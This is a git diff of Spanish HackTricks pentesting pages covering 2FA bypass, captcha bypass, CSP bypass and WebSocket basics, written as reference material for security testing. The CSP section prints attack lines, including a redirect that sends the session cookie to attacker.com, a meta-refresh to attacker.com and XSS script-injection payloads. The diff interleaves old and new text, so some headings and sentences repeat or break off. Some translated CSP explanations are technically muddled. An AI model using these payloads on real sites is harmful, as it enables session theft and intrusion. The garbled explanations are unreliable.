Si puedes **generar un nuevo OTP infinitas veces**, el OTP es lo suficientemente **simple** (4 números) y puedes probar hasta 4 o 5 tokens por OTP generado, simplemente prueba los mismos 4 o 5 tokens cada vez y genera OTP hasta que coincida con los que estás usando.
|
||||
|
||||
## CSRF/Clickjacking
|
||||
### CSRF/Clickjacking
|
||||
|
||||
Comprueba si hay una vulnerabilidad de Cross Site Request Forgery (CSRF) o de Clickjacking para desactivar la autenticación de dos factores.
|
||||
Verifica si hay una vulnerabilidad de Cross Site Request Forgery (CSRF) o Clickjacking para desactivar la autenticación de dos factores.
|
||||
|
||||
## Funcionalidad de recordarme
|
||||
### Funcionalidad de "Recuérdame"
|
||||
|
||||
### Cookie adivinable
|
||||
#### Cookie adivinable
|
||||
|
||||
Si la funcionalidad de "recordarme" utiliza una nueva cookie con un código adivinable, intenta adivinarlo.
|
||||
Si la funcionalidad de "recuérdame" utiliza una nueva cookie con un código adivinable, intenta adivinarlo.
|
||||
|
||||
### Dirección IP
|
||||
#### Dirección IP
|
||||
|
||||
Si la funcionalidad de "recordarme" está vinculada a tu dirección IP, puedes intentar averiguar la dirección IP de la víctima e impersonarla usando el encabezado **X-Forwarded-For**.
|
||||
Si la funcionalidad de "recuérdame" está vinculada a tu dirección IP, puedes intentar averiguar la dirección IP de la víctima e impersonarla utilizando el encabezado **X-Forwarded-For**.
|
||||
### Versiones antiguas
|
||||
|
||||
## Versiones antiguas
|
||||
#### Subdominios
|
||||
|
||||
### Subdominios
|
||||
Si encuentras subdominios de "pruebas" con funcionalidad de inicio de sesión, es posible que estén utilizando versiones antiguas que no admiten la autenticación de dos factores (por lo que se puede omitir directamente) o que esos puntos finales admitan una versión vulnerable de la autenticación de dos factores.
|
||||
|
||||
Si puedes encontrar algunos subdominios de "pruebas" con la funcionalidad de inicio de sesión, podrían estar utilizando versiones antiguas que no admiten la autenticación de dos factores (por lo que se
|
||||
#### APIs
|
||||
|
||||
Si descubres que la autenticación de dos factores utiliza una API ubicada en un directorio /v\* (como "/v3/"), esto probablemente significa que existen puntos finales de API antiguos que podrían ser vulnerables a algún tipo de omisión de la autenticación de dos factores.
|
||||
|
||||
### Sesiones anteriores
|
||||
|
||||
Cuando se habilita la autenticación de dos factores, las sesiones anteriores creadas deben finalizarse. Esto se debe a que cuando un cliente tiene su cuenta comprometida, puede querer protegerla activando la autenticación de dos factores, pero si las sesiones anteriores no se finalizan, esto no lo protegerá.
|
||||
|
||||
### Control de acceso inadecuado a códigos de respaldo
|
||||
|
||||
Los códigos de respaldo se generan inmediatamente después de habilitar la autenticación de dos factores y están disponibles en una sola solicitud. Después de cada llamada subsiguiente a la solicitud, los códigos pueden regenerarse o permanecer sin cambios (códigos estáticos). Si existen configuraciones incorrectas de CORS/vulnerabilidades XSS y otros errores que permiten "extraer" los códigos de respaldo de la respuesta de la solicitud del punto final del código de respaldo, entonces el atacante podría robar los códigos y omitir la autenticación de dos factores si se conocen el nombre de usuario y la contraseña.
|
||||
|
||||
### Divulgación de información
|
||||
|
||||
Si notas que aparece información confidencial en la página de autenticación de dos factores que no conocías previamente (como el número de teléfono), esto se puede considerar una vulnerabilidad de divulgación de información.
|
||||
|
||||
### **Restablecimiento de contraseña == desactivar la autenticación de dos factores**
|
||||
|
||||
1. Crea una cuenta y activa la autenticación de dos factores.
|
||||
2. Cierra sesión en esa cuenta.
|
||||
3. Ahora, ve a la página de restablecimiento de contraseña.
|
||||
4. Cambia tu contraseña.
|
||||
5. Intenta iniciar sesión ahora.
|
||||
6. Si no se te solicita ingresar un código de autenticación de dos factores, puedes informarlo.
|
||||
|
||||
## Referencias
|
||||
|
||||
{% embed url="https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35" %}
|
||||
|
||||
{% embed url="https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,15 +1,51 @@
|
|||
# Bypass de Captcha
|
||||
|
||||
Para **automatizar** la **prueba** de algunas funciones del servidor que permiten la entrada de usuarios, puede ser necesario **bypassar** una implementación de **captcha**. Por lo tanto, intente probar estas cosas:
|
||||
<details>
|
||||
|
||||
* **No envíe el parámetro** relacionado con el captcha.
|
||||
* Cambie de POST a GET u otros verbos HTTP.
|
||||
* Cambie a JSON o desde JSON.
|
||||
* Envíe el parámetro **captcha vacío**.
|
||||
* Verifique si el valor del captcha está **en el código fuente** de la página.
|
||||
* Verifique si el valor está **dentro de una cookie**.
|
||||
* Intente usar un **valor de captcha antiguo**.
|
||||
* Verifique si puede usar el **mismo valor** de captcha varias veces con **el mismo o diferente sessionID**.
|
||||
* Si el captcha consiste en una **operación matemática**, intente **automatizar** el **cálculo**.
|
||||
* Si el captcha consiste en **leer caracteres de una imagen**, verifique manualmente o con código **cuántas imágenes** se están utilizando y si solo se están utilizando **algunas imágenes, detectarlas por MD5**.
|
||||
* Use un **OCR** ([https://github.com/tesseract-ocr/tesseract](https://github.com/tesseract-ocr/tesseract)).
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Bypass de Captcha
|
||||
|
||||
Para **automatizar** la **prueba** de algunas funciones del servidor que permiten la entrada de usuarios, puede ser necesario **bypassar** una implementación de captcha. Por lo tanto, intenta probar estas cosas:
|
||||
|
||||
* **No envíes el parámetro** relacionado con el captcha.
|
||||
* Cambia de POST a GET u otros verbos HTTP.
|
||||
* Cambia a JSON o de JSON.
|
||||
* Envía el parámetro del captcha vacío.
|
||||
* Verifica si el valor del captcha está **en el código fuente** de la página.
|
||||
* Verifica si el valor está **dentro de una cookie**.
|
||||
* Intenta usar un **valor antiguo de captcha**.
|
||||
* Verifica si puedes usar el **mismo valor** de captcha varias veces con **la misma o diferente sesiónID**.
|
||||
* Si el captcha consiste en una **operación matemática**, intenta **automatizar** el **cálculo**.
|
||||
* Si el captcha consiste en **leer caracteres de una imagen**, verifica manualmente o con código **cuántas imágenes** se están utilizando y si solo se están utilizando **unas pocas imágenes, detéctalas por MD5**.
|
||||
* Usa un **OCR** ([https://github.com/tesseract-ocr/tesseract](https://github.com/tesseract-ocr/tesseract)).
|
||||
|
||||
## Servicios en línea para bypassar captchas
|
||||
|
||||
### [Capsolver](https://www.capsolver.com/)
|
||||
|
||||
El solucionador automático de captchas de Capsolver ofrece la solución de **bypassar captchas más económica y rápida**. Puedes combinarlo rápidamente con tu programa utilizando su opción de integración sencilla para obtener los mejores resultados en cuestión de segundos.
|
||||
|
||||
Con una tasa de éxito del 99,15%, Capsolver puede **resolver más de 10 millones de captchas por minuto**. Esto implica que tu automatización o scraping tendrá un tiempo de actividad del 99,99%. Puedes comprar un paquete de captchas si tienes un presupuesto amplio.
|
||||
|
||||
Al precio más bajo del mercado, puedes obtener una variedad de soluciones, incluyendo reCAPTCHA V2, reCAPTCHA V3, hCaptcha, hCaptcha Click, reCaptcha click, Funcaptcha Click, FunCaptcha, datadome captcha, aws captcha, picture-to-text, binance / coinmarketcap captcha, geetest v3 / v3, y más. Con este servicio, **0.1s es la velocidad más lenta jamás medida**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -31,7 +31,7 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
|
||||
## ¿Qué es CSP?
|
||||
|
||||
Content Security Policy o CSP es una tecnología integrada en los navegadores que **ayuda a protegerse de ataques como cross-site scripting (XSS)**. Enumera y describe las rutas y fuentes desde las cuales el navegador puede cargar de forma segura recursos. Los recursos pueden incluir imágenes, marcos, javascript y más. Aquí tienes un ejemplo de recursos permitidos desde el dominio local (self) para ser cargados y ejecutados en línea, y permitir funciones de ejecución de código de cadena como `eval`, `setTimeout` o `setInterval:`
|
||||
Content Security Policy o CSP es una tecnología integrada en los navegadores que **ayuda a protegerse de ataques como cross-site scripting (XSS)**. Enumera y describe las rutas y fuentes desde las cuales el navegador puede cargar de forma segura recursos. Los recursos pueden incluir imágenes, frames, javascript y más. Aquí tienes un ejemplo de recursos permitidos desde el dominio local (self) para ser cargados y ejecutados en línea, y permitir funciones de ejecución de código de cadena como `eval`, `setTimeout` o `setInterval:`
|
||||
|
||||
Content Security Policy se implementa mediante **encabezados de respuesta** o **elementos meta de la página HTML**. El navegador sigue la política recibida y bloquea activamente las violaciones a medida que se detectan.
|
||||
|
||||
|
@ -156,31 +156,39 @@ Sin embargo, esta directiva puede ser aprovechada por un atacante para evadir la
|
|||
|
||||
#### Técnica de Bypass
|
||||
|
||||
El atacante puede aprovechar una vulnerabilidad de carga de archivos en el sitio web para cargar un archivo malicioso. Luego, puede utilizar una técnica de bypass de CSP para permitir la ejecución del archivo cargado.
|
||||
El atacante puede aprovechar una vulnerabilidad en el sitio web que permita la carga de archivos y utilizar la directiva `default-src 'self'` para cargar archivos maliciosos desde el mismo origen del sitio web.
|
||||
|
||||
Una forma común de realizar este bypass es utilizando la directiva `script-src` en la CSP. El atacante puede agregar una URL de dominio controlado por él mismo en la directiva `script-src`, lo que permitirá la ejecución de scripts desde ese dominio. A continuación, el atacante puede cargar un archivo JavaScript malicioso en su dominio controlado y ejecutarlo en el sitio web objetivo.
|
||||
Para lograr esto, el atacante puede utilizar una carga de archivos que incluya una URL de origen válida del sitio web en el campo de origen del archivo. De esta manera, la directiva `default-src 'self'` permitirá la carga del archivo malicioso.
|
||||
|
||||
Por ejemplo, si la directiva `script-src` en la CSP es `script-src 'self'`, el atacante puede agregar `https://attacker.com` en la directiva para permitir la ejecución de scripts desde ese dominio. Luego, el atacante puede cargar un archivo JavaScript malicioso en `https://attacker.com` y ejecutarlo en el sitio web objetivo.
|
||||
#### Ejemplo
|
||||
|
||||
#### Recomendaciones de Mitigación
|
||||
Supongamos que el sitio web permite la carga de imágenes y utiliza la directiva `default-src 'self'` en su CSP. El atacante puede cargar un archivo malicioso con la siguiente URL de origen:
|
||||
|
||||
Para mitigar esta vulnerabilidad, se recomienda no confiar únicamente en la directiva `default-src 'self'` para restringir la carga de archivos. En su lugar, se deben utilizar otras directivas más específicas, como `script-src`, `style-src` y `img-src`, para controlar de manera más precisa los recursos permitidos.
|
||||
```
|
||||
https://www.ejemplo.com/imagen-maliciosa.jpg
|
||||
```
|
||||
|
||||
Además, se debe implementar una validación adecuada de los archivos cargados para evitar la carga de archivos maliciosos en el sitio web. Esto puede incluir la verificación de la extensión del archivo, la comprobación de la firma del archivo o la ejecución de análisis de seguridad en los archivos cargados.
|
||||
Dado que la URL de origen incluye el mismo origen del sitio web (`www.ejemplo.com`), la directiva `default-src 'self'` permitirá la carga del archivo malicioso.
|
||||
|
||||
#### Mitigación
|
||||
|
||||
Para mitigar esta vulnerabilidad, se recomienda no confiar únicamente en la directiva `default-src 'self'` para controlar la carga de archivos. Es importante implementar controles adicionales, como la validación del tipo de archivo y la desinfección de los nombres de archivo, para evitar la carga de archivos maliciosos.
|
||||
|
||||
Además, se recomienda utilizar directivas más restrictivas en la CSP, como `default-src 'none'`, y especificar explícitamente los orígenes permitidos para cada tipo de recurso. Esto ayudará a reducir el riesgo de carga de archivos maliciosos desde el mismo origen del sitio web.
|
||||
|
||||
---
|
||||
|
||||
**Nota:** Esta técnica de bypass de CSP solo es efectiva si el atacante puede cargar un archivo malicioso en el sitio web objetivo.
|
||||
**Nota:** Esta técnica de bypass puede variar dependiendo de la implementación específica de la CSP en el sitio web objetivo. Es importante realizar pruebas exhaustivas y adaptar la técnica según sea necesario.
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Si puedes subir un archivo JS puedes evadir esta CSP:
|
||||
Si puedes subir un archivo JS, puedes evadir esta CSP:
|
||||
|
||||
Carga útil funcional:
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Sin embargo, es muy probable que el servidor esté **validando el archivo cargado** y solo permitirá **subir un tipo específico de archivos**.
|
||||
Sin embargo, es muy probable que el servidor esté **validando el archivo cargado** y solo permitirá **cargar un tipo específico de archivos**.
|
||||
|
||||
Además, incluso si pudieras cargar un **código JS dentro** de un archivo utilizando una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor Apache **seleccionan el tipo MIME del archivo según la extensión** y los navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Afortunadamente", hay errores. Por ejemplo, de un CTF aprendí que **Apache no reconoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
|
||||
|
||||
|
@ -264,13 +272,13 @@ La publicación muestra que podrías **cargar** todas las **bibliotecas** desde
|
|||
|
||||
Cuando un sitio web utiliza una Política de Seguridad de Contenido (CSP) para restringir los recursos que se pueden cargar en una página, es posible que los atacantes intenten evadir estas restricciones utilizando puntos finales de terceros y JSONP.
|
||||
|
||||
JSONP (JSON with Padding) es una técnica que permite solicitar recursos de dominios diferentes utilizando la etiqueta `<script>` en HTML. Esta técnica se utiliza comúnmente para realizar solicitudes de recursos de terceros en un sitio web.
|
||||
JSONP (JSON with Padding) es una técnica que permite solicitar recursos de dominios diferentes al dominio actual mediante la inclusión de un script en la página. Esta técnica se utiliza comúnmente para obtener datos de API de terceros.
|
||||
|
||||
Para evadir una CSP, un atacante puede aprovechar los puntos finales de terceros que no están restringidos por la política de seguridad. Luego, puede utilizar JSONP para realizar solicitudes a estos puntos finales y obtener la respuesta deseada.
|
||||
Para evadir una CSP utilizando JSONP, el atacante puede buscar puntos finales de terceros que permitan la inclusión de scripts y que no estén restringidos por la política de seguridad del sitio web objetivo. Una vez que se encuentra un punto final adecuado, el atacante puede construir una solicitud JSONP para obtener datos del punto final y ejecutar código malicioso en la página.
|
||||
|
||||
El atacante puede crear un script malicioso que se cargue en la página web objetivo y realice una solicitud JSONP a un punto final de terceros. La respuesta del punto final de terceros se envía al script malicioso y se puede utilizar para extraer información confidencial o realizar otras acciones maliciosas.
|
||||
Es importante tener en cuenta que el uso de JSONP puede introducir riesgos de seguridad, ya que permite la ejecución de código arbitrario en el contexto del sitio web objetivo. Por lo tanto, es recomendable utilizar otras técnicas más seguras para obtener datos de dominios de terceros, como CORS (Cross-Origin Resource Sharing) o proxies de servidor.
|
||||
|
||||
Para evitar este tipo de ataque, es importante configurar correctamente la CSP y asegurarse de que los puntos finales de terceros estén restringidos por la política de seguridad. Además, se recomienda evitar el uso de JSONP y utilizar métodos más seguros, como CORS (Cross-Origin Resource Sharing), para solicitar recursos de dominios diferentes.
|
||||
En resumen, los atacantes pueden intentar evadir una Política de Seguridad de Contenido utilizando puntos finales de terceros y JSONP. Sin embargo, es importante tener en cuenta los riesgos de seguridad asociados con el uso de JSONP y considerar otras opciones más seguras para obtener datos de dominios de terceros.
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
|
@ -377,7 +385,7 @@ Puedes encontrar un ejemplo aquí: [http://portswigger-labs.net/edge\_csp\_injec
|
|||
|
||||
#### Edge
|
||||
|
||||
En Edge es mucho más simple. Si puedes agregar esto en la CSP: **`;_`** **Edge** **descartará** toda la **política**.\
|
||||
En Edge es mucho más simple. Si puedes agregar esto en el CSP: **`;_`** **Edge** **descartará** toda la **política**.\
|
||||
Ejemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
|
||||
|
||||
### img-src \*; a través de XSS (iframe) - Ataque de tiempo
|
||||
|
@ -472,7 +480,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
|||
```
|
||||
Truco de [**aquí**](https://ctftime.org/writeup/29310).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -509,13 +517,13 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME es una técnica que abusa de un XSS (o XSS altamente limitado) en un punto final de una página para abusar de otros puntos finales del mismo origen. Esto se hace cargando el punto final vulnerable desde una página del atacante y luego actualizando la página del atacante al punto final real en el mismo origen que se desea abusar. De esta manera, el punto final vulnerable puede usar el objeto `opener` en la carga útil para acceder al DOM del punto final real para abusar de él. Para obtener más información, consulta:
|
||||
SOME es una técnica que abusa de un XSS (o XSS altamente limitado) en un punto final de una página para abusar de otros puntos finales del mismo origen. Esto se hace cargando el punto final vulnerable desde una página del atacante y luego actualizando la página del atacante al punto final real en el mismo origen que se desea abusar. De esta manera, el punto final vulnerable puede usar el objeto `opener` en la carga útil para acceder al DOM del punto final real que se desea abusar. Para obtener más información, consulta:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Además, **wordpress** tiene un punto final **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los datos enviados en la salida (con la limitación de solo letras, números y puntos).
|
||||
Además, **wordpress** tiene un punto final **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los **datos** enviados en la salida (con la limitación de solo letras, números y puntos).
|
||||
|
||||
Un atacante puede abusar de ese punto final para generar un ataque SOME contra WordPress e incrustarlo dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`. Ten en cuenta que este **script** se cargará porque está permitido por 'self'. Además, y debido a que WordPress está instalado, un atacante podría abusar del ataque SOME a través del punto final de **callback** vulnerable que **bypasses the CSP** para otorgar más privilegios a un usuario, instalar un nuevo complemento...
|
||||
Para obtener más información sobre cómo realizar este ataque, consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
@ -526,21 +534,21 @@ Si hay un CSP estricto que no te permite interactuar con servidores externos, ha
|
|||
|
||||
### Location
|
||||
|
||||
Simplemente puedes actualizar la ubicación para enviar al servidor del atacante la información secreta:
|
||||
Simplemente puedes actualizar la ubicación para enviar la información secreta al servidor del atacante:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
```
|
||||
### Etiqueta meta
|
||||
|
||||
Puedes redirigir mediante la inyección de una etiqueta meta (esto es solo una redirección, no filtrará contenido)
|
||||
Podrías redirigir mediante la inyección de una etiqueta meta (esto es solo una redirección, no filtrará contenido)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||
```
|
||||
### DNS Prefetch
|
||||
|
||||
Para cargar las páginas más rápido, los navegadores resuelven de antemano los nombres de host en direcciones IP y las almacenan en caché para su uso posterior.\
|
||||
Puedes indicarle a un navegador que resuelva de antemano un nombre de host con: `<link reol="dns-prefetch" href="algo.com">`
|
||||
Puedes indicarle a un navegador que resuelva de antemano un nombre de host con: `<link reol="dns-prefetch" href="something.com">`
|
||||
|
||||
Podrías abusar de este comportamiento para **filtrar información sensible a través de solicitudes DNS**:
|
||||
```javascript
|
||||
|
@ -593,7 +601,7 @@ Si sabes cómo exfiltrar información con WebRTC, [**envía una solicitud de ext
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -603,7 +611,7 @@ Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el p
|
|||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
|
||||
**Conviértete en una leyenda de los hackers web3**\
|
||||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
|
|
|
@ -7,26 +7,26 @@
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## ¿Qué son los WebSockets?
|
||||
|
||||
Las conexiones WebSocket se inician a través de **HTTP** y suelen ser **de larga duración**. Los mensajes se pueden enviar en **cualquier dirección en cualquier momento** y no tienen una naturaleza transaccional. La conexión normalmente permanecerá abierta e inactiva hasta que el cliente o el servidor estén listos para enviar un mensaje.\
|
||||
Los WebSockets son particularmente útiles en situaciones donde se requieren **mensajes de baja latencia o iniciados por el servidor**, como los feeds en tiempo real de datos financieros.
|
||||
Las conexiones WebSocket se inician a través de **HTTP** y suelen ser de **larga duración**. Los mensajes se pueden enviar en **ambas direcciones en cualquier momento** y no tienen una naturaleza transaccional. La conexión normalmente permanecerá abierta e inactiva hasta que el cliente o el servidor estén listos para enviar un mensaje.\
|
||||
Los WebSockets son particularmente útiles en situaciones donde se requieren mensajes de **baja latencia o iniciados por el servidor**, como feeds en tiempo real de datos financieros.
|
||||
|
||||
## ¿Cómo se establecen las conexiones WebSocket?
|
||||
|
||||
(Aquí encontrarás un resumen, pero una **guía más detallada sobre cómo se crea una conexión de WebSocket** se puede encontrar [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\
|
||||
Las conexiones WebSocket se crean normalmente utilizando JavaScript del lado del cliente como el siguiente:
|
||||
Las conexiones WebSocket se crean normalmente utilizando JavaScript en el lado del cliente, como se muestra a continuación:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/chat");
|
||||
```
|
||||
El protocolo **`wss`** establece una conexión WebSocket sobre una conexión **TLS** cifrada, mientras que el protocolo **`ws`** utiliza una conexión **no cifrada**.
|
||||
El protocolo **`wss`** establece una conexión WebSocket sobre una conexión **TLS** encriptada, mientras que el protocolo **`ws`** utiliza una conexión **no encriptada**.
|
||||
|
||||
Para establecer la conexión, el navegador y el servidor realizan un handshake WebSocket sobre HTTP. El navegador emite una solicitud de handshake WebSocket como la siguiente:
|
||||
Para establecer la conexión, el navegador y el servidor realizan un handshake WebSocket a través de HTTP. El navegador emite una solicitud de handshake WebSocket como la siguiente:
|
||||
```javascript
|
||||
GET /chat HTTP/1.1
|
||||
Host: normal-website.com
|
||||
|
@ -36,25 +36,25 @@ Connection: keep-alive, Upgrade
|
|||
